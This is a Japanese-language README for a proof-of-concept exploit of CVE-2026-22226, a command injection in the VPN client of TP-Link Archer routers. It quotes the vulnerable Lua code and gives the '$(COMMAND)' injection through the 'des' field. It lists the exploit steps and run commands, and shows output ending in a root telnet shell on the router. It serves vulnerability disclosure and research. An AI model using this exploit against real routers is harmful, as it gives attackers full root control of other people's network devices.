
CVE-2026-22226 の概念実証
CVE-2026-22226 の Proof of Concept
TP-Link Archer Wi-Fi ルーターのVPNクライアントにおける認証済みLAN側OSコマンドインジェクション
VPNクライアントのコントローラは、ユーザー制御のエントリ説明(des)を、脆弱な検証正規表現でUCI設定に保存します。後にWebUIでエントリを編集するために読み戻すとき、get_ovpn_data() は des をサニタイズなしで os.execute() に渡される引用符付きシェルコマンドに挿入します:
-- get_ovpn_data() in vpn.lua
file_ovpn_path_local = string.format("/etc/openvpn/%s%s", des_name, ".ovpn")
cmd = string.format("echo '%s' > %s", file_ovpn_path_local, EXIST_OVPN_CURR_EDIT)
os.execute(cmd)
シングルクォート文字(')は検証正規表現を通過するため、シェルの引用符から抜け出し、$() 置換を介してコマンドを注入するのに十分です。'$(COMMAND)' に設定された des フィールドは、コマンドを次のように変えます:
echo '/etc/openvpn/'$(COMMAND)'.ovpn' > /tmp/ovpn_curr_edit
コマンド出力はHTTPレスポンスで返されることはないため、このインジェクションはブラインドです。そのため、帯域外チャネルが必要です(ここではPoCスクリプトが telnetd サーバーを起動して対話型シェルを取得します)。
[!Note] このスクリプトはTP-Link Archer AX73(AX5400、HW v2.0 EU、FW v1.2.1 - Build 20250717)でのみテストしましたが、他のArcherデバイスも同様に脆弱である可能性が高いです。
このPoCは次のプロセスに従います:
admin として認証する.ovpn 設定ファイルをアップロードするdes フィールドを持つVPNクライアントエントリを挿入し、シングルクォートのコンテキストをエスケープしてコマンド置換を介してペイロードを注入するget_ovpn_data() をトリガーし、改ざんされた des を os.execute() に渡す[!Warning] この脆弱性の悪用は、許可されたシングルクォート文字を介して
des入力検証をバイパスし、ルーター上でrootとしてOSコマンド実行(デバイスの完全な侵害)につながります。
Pythonの依存関係はスクリプト内にインラインで宣言されているため、最新のPythonプロジェクトマネージャーで直接実行するか、pip で手動インストールできます:
# using pipx
pipx run poc.py
# using uv
uv run poc.py
# using pip (legacy) then run with python
pip install requests pycryptodome
python poc.py
poc.py に対象IP、認証情報、ペイロードを設定する
スクリプトを実行します:
$ pipx run poc.py
INFO:__main__:TP-Link Archer Exploit PoC
INFO:__main__:Authentication ...
INFO:__main__:Authentication ... OK
INFO:__main__:Uploading .ovpn ...
INFO:__main__:Uploading .ovpn ... OK
INFO:__main__:Inserting VPN entry ...
INFO:__main__:Inserting VPN entry ... OK
INFO:__main__:Triggering command injection ...
INFO:__main__:Triggering command injection ... OK
INFO:__main__:Cleaning up ...
INFO:__main__:Cleaning up ... OK
$ telnet 192.168.0.1 1337
BusyBox v1.19.4 (2025-07-17 10:58:00 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
/www # id
uid=0(root) gid=0(root)
/www # uname -a
Linux Archer AX73 4.19.183 #1 SMP PREEMPT Thu Jul 17 10:22:47 CST 2025 armv7l GNU/Linux